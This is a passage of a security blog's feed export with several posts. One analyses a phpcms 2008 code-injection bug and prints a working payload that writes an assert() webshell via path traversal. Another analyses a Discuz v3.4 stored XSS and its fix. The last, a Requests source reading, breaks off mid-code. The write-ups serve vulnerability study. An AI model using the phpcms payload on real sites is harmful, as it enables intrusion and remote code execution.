class="headerlink" title="plugins/fingerprint/waf/denyall.py"></a>plugins/fingerprint/waf/denyall.py</h3><h3 id="plugins-fingerprint-waf-radware-py"><a href="#plugins-fingerprint-waf-radware-py" class="headerlink" title="plugins/fingerprint/waf/radware.py"></a>plugins/fingerprint/waf/radware.py</h3><h3 id="plugins-fingerprint-waf-expressionengine-py"><a href="#plugins-fingerprint-waf-expressionengine-py" class="headerlink" title="plugins/fingerprint/waf/expressionengine.py"></a>plugins/fingerprint/waf/expressionengine.py</h3><h3 id="plugins-fingerprint-waf-armor-py"><a href="#plugins-fingerprint-waf-armor-py" class="headerlink" title="plugins/fingerprint/waf/armor.py"></a>plugins/fingerprint/waf/armor.py</h3><h3 id="plugins-fingerprint-waf-webknight-py"><a href="#plugins-fingerprint-waf-webknight-py" class="headerlink" title="plugins/fingerprint/waf/webknight.py"></a>plugins/fingerprint/waf/webknight.py</h3>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;WAScan源码阅读&lt;/p&gt;
    
    </summary>
    
      <category term="Web Security" scheme="http://chybeta.github.io/categories/Web-Security/"/>
    
    
      <category term="源码阅读" scheme="http://chybeta.github.io/tags/%E6%BA%90%E7%A0%81%E9%98%85%E8%AF%BB/"/>
    
      <category term="扫描器" scheme="http://chybeta.github.io/tags/%E6%89%AB%E6%8F%8F%E5%99%A8/"/>
    
      <category term="安全开发" scheme="http://chybeta.github.io/tags/%E5%AE%89%E5%85%A8%E5%BC%80%E5%8F%91/"/>
    
  </entry>
  
  <entry>
    <title>phpcms 2008 type.php 前台代码注入getshell漏洞分析</title>
    <link href="http://chybeta.github.io/2018/11/29/phpcms-2008-type-php-%E5%89%8D%E5%8F%B0%E4%BB%A3%E7%A0%81%E6%B3%A8%E5%85%A5getshell%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/"/>
    <id>http://chybeta.github.io/2018/11/29/phpcms-2008-type-php-前台代码注入getshell漏洞分析/</id>
    <published>2018-11-29T12:52:25.000Z</published>
    <updated>2018-12-22T09:35:31.155Z</updated>
    
    <content type="html"><![CDATA[<p>phpcms 2008 type.php 前台代码注入getshell漏洞分析</p>
<a id="more"></a>
<p>tpye.php中:<br><figure class="highlight php"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div></pre></td><td class="code"><pre><div class="line"><span class="meta">&lt;?php</span></div><div class="line"><span class="keyword">require</span> dirname(<span class="keyword">__FILE__</span>).<span class="string">'/include/common.inc.php'</span>;</div><div class="line">...</div><div class="line"><span class="keyword">if</span>(<span class="keyword">empty</span>($template)) $template = <span class="string">'type'</span>;</div><div class="line">...</div><div class="line"><span class="keyword">include</span> template(<span class="string">'phpcms'</span>, $template);</div><div class="line">...</div><div class="line"><span class="meta">?&gt;</span></div></pre></td></tr></table></figure></p>
<p>先看一下<code>require</code>进来的<code>include/common.inc.php</code>，在这个文件第58行中存在如下代码：<br><figure class="highlight php"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">if</span>($_REQUEST)</div><div class="line">&#123;</div><div class="line">	<span class="keyword">if</span>(MAGIC_QUOTES_GPC)</div><div class="line">	&#123;</div><div class="line">		$_REQUEST = new_stripslashes($_REQUEST);</div><div class="line">		<span class="keyword">if</span>($_COOKIE) $_COOKIE = new_stripslashes($_COOKIE);</div><div class="line">		extract($db-&gt;escape($_REQUEST), EXTR_SKIP);</div><div class="line">	&#125;</div><div class="line">	<span class="keyword">else</span></div><div class="line">	&#123;</div><div class="line">		$_POST = $db-&gt;escape($_POST);</div><div class="line">		$_GET = $db-&gt;escape($_GET);</div><div class="line">		$_COOKIE = $db-&gt;escape($_COOKIE);</div><div class="line">		@extract($_POST,EXTR_SKIP);</div><div class="line">		@extract($_GET,EXTR_SKIP);</div><div class="line">		@extract($_COOKIE,EXTR_SKIP);</div><div class="line">	&#125;</div><div class="line">	<span class="keyword">if</span>(!defined(<span class="string">'IN_ADMIN'</span>)) $_REQUEST = filter_xss($_REQUEST, ALLOWED_HTMLTAGS);</div><div class="line">	<span class="keyword">if</span>($_COOKIE) $db-&gt;escape($_COOKIE);</div><div class="line">&#125;</div></pre></td></tr></table></figure></p>
<p>上面这段代码会通过<code>@extract()</code>将尚未注册的变量进行注册，如果有冲突，不覆盖已有的变量。因此通过这个伪全局可以绕过<code>if(empty($template)) $template = &#39;type&#39;;</code>这句话的指定，即<code>$template</code>变量可控。</p>
<p>跟入<code>template</code>函数，定义在 include/global.func.php:772<br><figure class="highlight php"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div></pre></td><td class="code"><pre><div class="line"></div><div class="line"><span class="function"><span class="keyword">function</span> <span class="title">template</span><span class="params">($module = <span class="string">'phpcms'</span>, $template = <span class="string">'index'</span>, $istag = <span class="number">0</span>)</span></span></div><div class="line">&#123;</div><div class="line">	$compiledtplfile = TPL_CACHEPATH.$module.<span class="string">'_'</span>.$template.<span class="string">'.tpl.php'</span>;</div><div class="line">	<span class="keyword">if</span>(TPL_REFRESH &amp;&amp; (!file_exists($compiledtplfile) || @filemtime(TPL_ROOT.TPL_NAME.<span class="string">'/'</span>.$module.<span class="string">'/'</span>.$template.<span class="string">'.html'</span>) &gt; @filemtime($compiledtplfile) || @filemtime(TPL_ROOT.TPL_NAME.<span class="string">'/tag.inc.php'</span>) &gt; @filemtime($compiledtplfile)))</div><div class="line">	&#123;</div><div class="line">		<span class="keyword">require_once</span> PHPCMS_ROOT.<span class="string">'include/template.func.php'</span>;</div><div class="line">		template_compile($module, $template, $istag);</div><div class="line">	&#125;</div><div class="line">	<span class="keyword">return</span> $compiledtplfile;</div><div class="line">&#125;</div></pre></td></tr></table></figure></p>
<p>这里会进行一些判断，<code>TPL_REFRESH</code>表示是否开启模板缓存自动刷新，默认为1, 剩下的用于判断缓存超时。倘若需要更新缓存则进入了<code>template_compile()</code>函数，根据上一句的<code>require_once</code>可知定义在 include/template.func.php:2</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div></pre></td><td class="code"><pre><div class="line"><span class="meta">&lt;?php</span></div><div class="line"></div><div class="line"><span class="function"><span class="keyword">function</span> <span class="title">template_compile</span><span class="params">($module, $template, $istag = <span class="number">0</span>)</span></span></div><div class="line">&#123;</div><div class="line">	$tplfile = TPL_ROOT.TPL_NAME.<span class="string">'/'</span>.$module.<span class="string">'/'</span>.$template.<span class="string">'.html'</span>;</div><div class="line">	$content = @file_get_contents($tplfile);</div><div class="line">	<span class="keyword">if</span>($content === <span class="keyword">false</span>) showmessage(<span class="string">"$tplfile is not exists!"</span>);</div><div class="line">	$compiledtplfile = TPL_CACHEPATH.$module.<span class="string">'_'</span>.$template.<span class="string">'.tpl.php'</span>;</div><div class="line">	$content = ($istag || substr($template, <span class="number">0</span>, <span class="number">4</span>) == <span class="string">'tag_'</span>) ? <span class="string">'&lt;?php function _tag_'</span>.$module.<span class="string">'_'</span>.$template.<span class="string">'($data, $number, $rows, $count, $page, $pages, $setting)&#123; global $PHPCMS,$MODULE,$M,$CATEGORY,$TYPE,$AREA,$GROUP,$MODEL,$templateid,$_userid,$_username;@extract($setting);?&gt;'</span>.template_parse($content, <span class="number">1</span>).<span class="string">'&lt;?php &#125; ?&gt;'</span> : template_parse($content);</div><div class="line">	$strlen = file_put_contents($compiledtplfile, $content);</div><div class="line">	@chmod($compiledtplfile, <span class="number">0777</span>);</div><div class="line">	<span class="keyword">return</span> $strlen;</div><div class="line">&#125;</div></pre></td></tr></table></figure>
<p>重点看<code>$content = ($istag || substr($template, 0, 4) == &#39;tag_&#39;)</code>这一句。由于<code>$template</code>可控，只要<code>$template</code>以<code>tag_</code>开头，就可以使得此处的三元表达式进入到第一个分支中，即相当于：<br><figure class="highlight php"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">$content = <span class="string">'&lt;?php function _tag_'</span>.$module.<span class="string">'_'</span>.$template.<span class="string">'($data, $number, $rows, $count, $page, $pages, $setting)&#123; global $PHPCMS,$MODULE,$M,$CATEGORY,$TYPE,$AREA,$GROUP,$MODEL,$templateid,$_userid,$_username;@extract($setting);?&gt;'</span>.template_parse($content, <span class="number">1</span>).<span class="string">'&lt;?php &#125; ?&gt;'</span></div></pre></td></tr></table></figure></p>
<p>由于<code>$template</code>未经过滤，被直接拼接到内容中，所以如果指定<code>tag_(){};@unlink(_FILE_);assert($_GET[1]);{//../rss</code> ，则拼接后的结果为<br><figure class="highlight php"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">$content = <span class="string">'&lt;?php function _tag_phpcms_tag_()&#123;&#125;;@unlink(_FILE_);assert($_GET[1]);&#123;//../rss($data, $number, $rows, $count, $page, $pages, $setting)&#123; global $PHPCMS,$MODULE,$M,$CATEGORY,$TYPE,$AREA,$GROUP,$MODEL,$templateid,$_userid,$_username;@extract($setting);?&gt;'</span>.template_parse($content, <span class="number">1</span>).<span class="string">'&lt;?php &#125; ?&gt;'</span></div></pre></td></tr></table></figure></p>
<p>可以看到一句话木马已经写入了<code>$content</code>，之后<code>file_put_contents($compiledtplfile, $content);</code>将内容写入文件。</p>
<p>回到前面的<code>template_compile</code>函数中，<code>TPL_CACHEPATH</code>为常量<code>PHPCMS_ROOT.&#39;data/cache_template/</code>; 可知 <code>$compiledtplfile</code> 为：<br><figure class="highlight php"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div></pre></td><td class="code"><pre><div class="line">$compiledtplfile = TPL_CACHEPATH.$module.<span class="string">'_'</span>.$template.<span class="string">'.tpl.php'</span>;</div><div class="line">```<span class="number">4</span></div><div class="line"></div><div class="line">即：</div><div class="line">```php</div><div class="line">$compiledtplfile = <span class="string">'data/cache_template/phpcms_tag_()&#123;&#125;;@unlink(_FILE_);assert($_GET[1]);&#123;//../rss.tpl.php'</span>;</div></pre></td></tr></table></figure></p>
<p>所以payload末尾的<code>../</code>利用目录穿越使得最后的<code>$compiledtplfile</code>为<code>&#39;data/cache_template/rss.tpl.php</code></p>
<p><img src="https://github.com/CHYbeta/chybeta.github.io/blob/master/images/pic/20181129/1.png?raw=true" alt=""></p>
<p>为了解析不出错，payload末尾处的<code>//</code>注释了拼接后的其余部分，如上图。</p>
<p>此后访问 <a href="http://127.0.0.1/phpcms/data/cache_template/rss.tpl.php?1=phpinfo(" target="_blank" rel="external">http://127.0.0.1/phpcms/data/cache_template/rss.tpl.php?1=phpinfo(</a>)</p>
<p><img src="https://github.com/CHYbeta/chybeta.github.io/blob/master/images/pic/20181129/2.png?raw=true" alt=""></p>
]]></content>
    
    <summary type="html">
    
      &lt;p&gt;phpcms 2008 type.php 前台代码注入getshell漏洞分析&lt;/p&gt;
    
    </summary>
    
      <category term="Web Security" scheme="http://chybeta.github.io/categories/Web-Security/"/>
    
    
      <category term="代码审计" scheme="http://chybeta.github.io/tags/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/"/>
    
      <category term="php" scheme="http://chybeta.github.io/tags/php/"/>
    
      <category term="getshell" scheme="http://chybeta.github.io/tags/getshell/"/>
    
      <category term="命令执行" scheme="http://chybeta.github.io/tags/%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C/"/>
    
      <category term="phpcms" scheme="http://chybeta.github.io/tags/phpcms/"/>
    
  </entry>
  
  <entry>
    <title>Discuz v3.4 排行页面存储型XSS漏洞分析</title>
    <link href="http://chybeta.github.io/2018/10/15/Discuz-v3-4-%E6%8E%92%E8%A1%8C%E9%A1%B5%E9%9D%A2%E5%AD%98%E5%82%A8%E5%9E%8BXSS%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/"/>
    <id>http://chybeta.github.io/2018/10/15/Discuz-v3-4-排行页面存储型XSS漏洞分析/</id>
    <published>2018-10-15T13:04:59.000Z</published>
    <updated>2018-10-15T13:06:27.597Z</updated>
    
    <content type="html"><![CDATA[<p>2018年10月12日，Discuz官方修复了一处XSS漏洞：<br><a id="more"></a></p>
<p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20181015113653-8ee3cbd6-d02b-1.jpeg" alt="3.jpg"></p>
<h1 id="简要分析"><a href="#简要分析" class="headerlink" title="简要分析"></a>简要分析</h1><p>source/module/misc/misc_ranklist.php:166<br><figure class="highlight php"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div></pre></td><td class="code"><pre><div class="line"><span class="meta">&lt;?php</span> </div><div class="line"></div><div class="line"><span class="function"><span class="keyword">function</span> <span class="title">getranklist_members</span><span class="params">($offset = <span class="number">0</span>, $limit = <span class="number">20</span>)</span> </span>&#123;</div><div class="line">	<span class="keyword">require_once</span> libfile(<span class="string">'function/forum'</span>);</div><div class="line">	$members = <span class="keyword">array</span>();</div><div class="line">	$topusers = C::t(<span class="string">'home_show'</span>)-&gt;fetch_all_by_unitprice($offset, $limit, <span class="keyword">true</span>);</div><div class="line"></div><div class="line">	<span class="keyword">foreach</span>($topusers <span class="keyword">as</span> $member) &#123;</div><div class="line">		$member[<span class="string">'avatar'</span>] = avatar($member[<span class="string">'uid'</span>], <span class="string">'small'</span>);</div><div class="line">        $member[<span class="string">'note'</span>] = dhtmlspecialchars($member[<span class="string">'note'</span>]);</div><div class="line">		$members[] = $member;</div><div class="line">	&#125;</div><div class="line">	<span class="keyword">return</span> $members;</div><div class="line">&#125;</div></pre></td></tr></table></figure></p>
<p>Dz在此处获取到<code>$member[&#39;note&#39;]</code>后调用了<code>dhtmlspecialchars</code>进行过滤，在source/function/function_core.php:203 会对’&amp;’, ‘“‘, ‘&lt;’, ‘&gt;’进行实体编码。<br><figure class="highlight php"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div></pre></td><td class="code"><pre><div class="line"><span class="meta">&lt;?php</span> </div><div class="line"></div><div class="line"><span class="function"><span class="keyword">function</span> <span class="title">dhtmlspecialchars</span><span class="params">($string, $flags = null)</span> </span>&#123;</div><div class="line">	<span class="keyword">if</span>(is_array($string)) &#123;</div><div class="line">        。。。</div><div class="line">	&#125; <span class="keyword">else</span> &#123;</div><div class="line">		<span class="keyword">if</span>($flags === <span class="keyword">null</span>) &#123;</div><div class="line">			$string = str_replace(<span class="keyword">array</span>(<span class="string">'&amp;'</span>, <span class="string">'"'</span>, <span class="string">'&lt;'</span>, <span class="string">'&gt;'</span>), <span class="keyword">array</span>(<span class="string">'&amp;amp;'</span>, <span class="string">'&amp;quot;'</span>, <span class="string">'&amp;lt;'</span>, <span class="string">'&amp;gt;'</span>), $string);</div><div class="line"></div><div class="line">		&#125; <span class="keyword">else</span> &#123;</div><div class="line">            。。。</div><div class="line">	&#125;</div><div class="line">	<span class="keyword">return</span> $string;</div><div class="line">&#125;</div></pre></td></tr></table></figure></p>
<p>从<code>getranklist_members</code>返回后 source/include/misc/misc_ranklist_index.php:113<br><figure class="highlight php"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div></pre></td><td class="code"><pre><div class="line"><span class="meta">&lt;?php</span> </div><div class="line">。。。</div><div class="line"><span class="keyword">if</span>($ranklist_setting[<span class="string">'member'</span>][<span class="string">'available'</span>]) &#123;</div><div class="line">	$memberlist = getranklist_members(<span class="number">0</span>, <span class="number">27</span>);</div><div class="line">&#125;</div><div class="line">。。。</div><div class="line"><span class="keyword">include</span> template(<span class="string">'diy:ranklist/ranklist'</span>);</div></pre></td></tr></table></figure></p>
<p>进行模板的渲染在 data/template/1_diy_ranklist_ranklist.tpl.php:32<br><figure class="highlight"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div></pre></td><td class="code"><pre><div class="line">&lt;?php if($memberlist) &#123; ?&gt;</div><div class="line">&lt;a href="home.php?mod=space&amp;amp;uid=&lt;?php echo $memberlist['0']['uid'];?&gt;&amp;amp;do=profile" target="_blank" id="bid_&lt;?php echo $memberlist['0']['uid'];?&gt;" class="hm" &lt;?php if($memberlist['0']['note']) &#123; ?&gt; onmouseover="showTip(trhis)" tip="&lt;?php echo $memberlist['0']['username'];?&gt;: &lt;?php echo $memberlist['0']['note'];?&gt;"&lt;?php &#125; ?&gt;&gt;&lt;?php echo avatar($memberlist[0][uid],middle);?&gt;&lt;/a&gt;</div><div class="line">&lt;?php &#125; ?&gt;</div></pre></td></tr></table></figure></p>
<p>可以看到在<code>tip</code>属性中输出了<code>$memberlist[&#39;0&#39;][&#39;note&#39;]</code>。在之前有一个<code>onmouseover</code>事件，跟入<code>showTip(trhis)</code> 在 static/js/common.js:1062<br><figure class="highlight js"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">function</span> <span class="title">showTip</span>(<span class="params">ctrlobj</span>) </span>&#123;</div><div class="line">	$F(<span class="string">'_showTip'</span>, <span class="built_in">arguments</span>);</div><div class="line">&#125;</div></pre></td></tr></table></figure></p>
<p>跟入<code>_showTip</code>，在 static/js/common_extra.js:912<br><figure class="highlight js"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">function</span> _showTip(<span class="params">ctrlobj</span>) </span>&#123;</div><div class="line">	<span class="keyword">if</span>(!ctrlobj.id) &#123;</div><div class="line">		ctrlobj.id = <span class="string">'tip_'</span> + <span class="built_in">Math</span>.random();</div><div class="line">	&#125;</div><div class="line">	menuid = ctrlobj.id + <span class="string">'_menu'</span>;</div><div class="line">	<span class="keyword">if</span>(!$(menuid)) &#123;</div><div class="line">		<span class="keyword">var</span> div = <span class="built_in">document</span>.createElement(<span class="string">'div'</span>);</div><div class="line">		div.id = ctrlobj.id + <span class="string">'_menu'</span>;</div><div class="line">		div.className = <span class="string">'tip tip_4'</span>;</div><div class="line">		div.style.display = <span class="string">'none'</span>;</div><div class="line">		div.innerHTML = <span class="string">'&lt;div class="tip_horn"&gt;&lt;/div&gt;&lt;div class="tip_c"&gt;'</span> + ctrlobj.getAttribute(<span class="string">'tip'</span>) + <span class="string">'&lt;/div&gt;'</span>;</div><div class="line">		$(<span class="string">'append_parent'</span>).appendChild(div);</div><div class="line">	&#125;</div><div class="line">	$(ctrlobj.id).onmouseout = <span class="function"><span class="keyword">function</span> (<span class="params"></span>) </span>&#123; hideMenu(<span class="string">''</span>, <span class="string">'prompt'</span>); &#125;;</div><div class="line">	showMenu(&#123;<span class="string">'mtype'</span>:<span class="string">'prompt'</span>,<span class="string">'ctrlid'</span>:ctrlobj.id,<span class="string">'pos'</span>:<span class="string">'12!'</span>,<span class="string">'duration'</span>:<span class="number">2</span>,<span class="string">'zindex'</span>:JSMENU[<span class="string">'zIndex'</span>][<span class="string">'prompt'</span>]&#125;);</div><div class="line">&#125;</div></pre></td></tr></table></figure></p>
<p>通过<code>ctrlobj.getAttribute(&#39;tip&#39;)</code>获取tip属性的值，由于<code>getAttribute</code>获取的内容会自动反转义，即前面在<code>dhtmlspecialchars</code>编码过的内容又被解码了一次。此后拼接到div标签的<code>innerHTML</code>中，最后输出到页面上造成了xss</p>
<p>关于<code>getAttribute</code>，可以用下面代码测试：<br><figure class="highlight html"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div></pre></td><td class="code"><pre><div class="line"><span class="tag">&lt;<span class="name">html</span>&gt;</span></div><div class="line"><span class="tag">&lt;<span class="name">div</span> <span class="attr">name</span>=<span class="string">"&amp;lt;a&amp;gt;"</span> <span class="attr">id</span>=<span class="string">"div"</span>&gt;</span>test<span class="tag">&lt;/<span class="name">div</span>&gt;</span></div><div class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="javascript"></span></div><div class="line">div1 = <span class="built_in">document</span>.getElementById(<span class="string">"div"</span>);</div><div class="line">align = div1.getAttribute(<span class="string">"name"</span>);</div><div class="line"></div><div class="line">alert(align); </div><div class="line"><span class="tag">&lt;/<span class="name">script</span>&gt;</span></div></pre></td></tr></table></figure></p>
<h1 id="漏洞复现"><a href="#漏洞复现" class="headerlink" title="漏洞复现"></a>漏洞复现</h1><p>该CMS中，排行榜功能是默认开启的。在地址 <a href="http://127.0.0.1/misc.php?mod=ranklist&amp;type=member" target="_blank" rel="external">http://127.0.0.1/misc.php?mod=ranklist&amp;type=member</a> 的上榜宣言中输入payload（拒绝伸手党）</p>
<p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20181015113702-949732ac-d02b-1.jpeg" alt="2.jpg"></p>
<p>在 <a href="http://127.0.0.1/misc.php?mod=ranklist" target="_blank" rel="external">http://127.0.0.1/misc.php?mod=ranklist</a> 当鼠标移动到头像上触发<code>onmouseover</code>事件，执行xss</p>
<p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20181015142359-e6cc8c86-d042-1.gif" alt="4.gif"></p>
<h1 id="修复方案"><a href="#修复方案" class="headerlink" title="修复方案"></a>修复方案</h1><p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20181015113709-9884e8be-d02b-1.jpeg" alt="1.jpg"></p>
<p>多增加一次<code>dhtmlspecialchars</code>。</p>
]]></content>
    
    <summary type="html">
    
      &lt;p&gt;2018年10月12日，Discuz官方修复了一处XSS漏洞：&lt;br&gt;
    
    </summary>
    
      <category term="Web Security" scheme="http://chybeta.github.io/categories/Web-Security/"/>
    
    
      <category term="代码审计" scheme="http://chybeta.github.io/tags/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/"/>
    
      <category term="漏洞分析" scheme="http://chybeta.github.io/tags/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/"/>
    
      <category term="XSS" scheme="http://chybeta.github.io/tags/XSS/"/>
    
      <category term="Discuz" scheme="http://chybeta.github.io/tags/Discuz/"/>
    
  </entry>
  
  <entry>
    <title>Requests v0.2.0 源码阅读</title>
    <link href="http://chybeta.github.io/2018/10/13/Requests-v0-2-0-%E6%BA%90%E7%A0%81%E9%98%85%E8%AF%BB/"/>
    <id>http://chybeta.github.io/2018/10/13/Requests-v0-2-0-源码阅读/</id>
    <published>2018-10-12T16:18:30.000Z</published>
    <updated>2018-10-12T16:29:50.534Z</updated>
    
    <content type="html"><![CDATA[<p>Requests v0.2.0 源码阅读</p>
<a id="more"></a>
<h1 id="v0-2-0"><a href="#v0-2-0" class="headerlink" title="v0.2.0"></a>v0.2.0</h1><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">git clone https://github.com/requests/requests</div></pre></td></tr></table></figure>
<p>从 <a href="https://github.com/requests/requests/releases?after=v0.3.0" target="_blank" rel="external">https://github.com/requests/requests/releases?after=v0.3.0</a> 知道 v0.2.0 发布时的 commit为 <a href="https://github.com/requests/requests/commit/d2427ecae751a533ddd9026849dd19cfaa3394f4" target="_blank" rel="external">https://github.com/requests/requests/commit/d2427ecae751a533ddd9026849dd19cfaa3394f4</a> 。检出。</p>
<h1 id="项目结构"><a href="#项目结构" class="headerlink" title="项目结构"></a>项目结构</h1><p><img src="https://raw.githubusercontent.com/CHYbeta/chybeta.github.io/master/images/pic/v020/1.jpg" alt=""></p>
<div class="table-container">
<table>
<thead>
<tr>
<th style="text-align:center">name</th>
<th style="text-align:center">usage</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:center">docs</td>
<td style="text-align:center">保存文档</td>
</tr>
<tr>
<td style="text-align:center">requests</td>
<td style="text-align:center">保存源代码</td>
</tr>
<tr>
<td style="text-align:center">.gitignore</td>
<td style="text-align:center">略</td>
</tr>
<tr>
<td style="text-align:center">HISTORY.rst</td>
<td style="text-align:center">历史</td>
</tr>
<tr>
<td style="text-align:center">LICENSE</td>
<td style="text-align:center">协议</td>
</tr>
<tr>
<td style="text-align:center">README.rst</td>
<td style="text-align:center">readme</td>
</tr>
<tr>
<td style="text-align:center">setup.py</td>
<td style="text-align:center">安装</td>
</tr>
<tr>
<td style="text-align:center">test_requests.py</td>
<td style="text-align:center">测试</td>
</tr>
</tbody>
</table>
</div>
<h1 id="test-requests-py"><a href="#test-requests-py" class="headerlink" title="test_requests.py"></a>test_requests.py</h1><p><img src="https://raw.githubusercontent.com/CHYbeta/chybeta.github.io/master/images/pic/v020/2.jpg" alt=""></p>
<p>定义如上方法，用于进行功能测试。</p>
<h1 id="requests"><a href="#requests" class="headerlink" title="requests"></a>requests</h1><p>主要关注 <code>core.py</code></p>
<p>UML图：<br><img src="https://raw.githubusercontent.com/CHYbeta/chybeta.github.io/master/images/pic/v020/3.jpg" alt=""></p>
<p><img src="https://raw.githubusercontent.com/CHYbeta/chybeta.github.io/master/images/pic/v020/8.jpg" alt=""></p>
<p>Structure：<br><img src="https://raw.githubusercontent.com/CHYbeta/chybeta.github.io/master/images/pic/v020/4.jpg" alt=""></p>
<p>主要实现四种类：请求基类<code>_Request</code>、请求类<code>Request</code>、响应类<code>Response</code>、认证<code>AuthObject</code>，七种方法：get、post、put、delete和认证相关的方法，四种异常类。</p>
<h2 id="Request-类"><a href="#Request-类" class="headerlink" title="_Request 类"></a>_Request 类</h2><p>对<a href="https://docs.python.org/2/library/urllib2.html#urllib2.Request" target="_blank" rel="external"><code>urllib2.Request</code>对象</a> 的封装，允许对请求方法进行s手动设置。<br><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div></pre></td><td class="code"><pre><div class="line"><span class="class"><span class="keyword">class</span> <span class="title">_Request</span><span class="params">(urllib2.Request)</span>:</span></div><div class="line">    <span class="string">"""Hidden wrapper around the urllib2.Request object. Allows for manual</span></div><div class="line">    setting of HTTP methods.</div><div class="line">    """</div><div class="line"></div><div class="line">    <span class="function"><span class="keyword">def</span> <span class="title">__init__</span><span class="params">(self, url,</span></span></div><div class="line">                    data=None, headers=&#123;&#125;, origin_req_host=None,</div><div class="line">                    unverifiable=False, method=None):</div><div class="line">        urllib2.Request.__init__( self, url, data, headers, origin_req_host,</div><div class="line">                                  unverifiable)</div><div class="line">		<span class="comment"># 设置请求方法</span></div><div class="line">        self.method = method </div><div class="line">	</div><div class="line">	<span class="comment"># 获取请求方法</span></div><div class="line">    <span class="function"><span class="keyword">def</span> <span class="title">get_method</span><span class="params">(self)</span>:</span></div><div class="line">        <span class="keyword">if</span> self.method:</div><div class="line">            <span class="keyword">return</span> self.method</div><div class="line"></div><div class="line">        <span class="keyword">return</span> urllib2.Request.get_method(self)</div></pre></td></tr></table></figure></p>
<h2 id="Request-类-1"><a href="#Request-类-1" class="headerlink" title="Request 类"></a>Request 类</h2><p><img src="https://raw.githubusercontent.com/CHYbeta/chybeta.github.io/master/images/pic/v020/5.jpg" alt=""></p>
<p>附上一些私有变量和私有方法：<br><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div><div class="line">36</div><div class="line">37</div><div class="line">38</div><div class="line">39</div><div class="line">40</div><div class="line">41</div><div class="line">42</div><div class="line">43</div><div class="line">44</div><div class="line">45</div><div class="line">46</div><div class="line">47</div><div class="line">48</div><div class="line">49</div><div class="line">50</div><div class="line">51</div><div class="line">52</div><div class="line">53</div><div class="line">54</div><div class="line">55</div><div 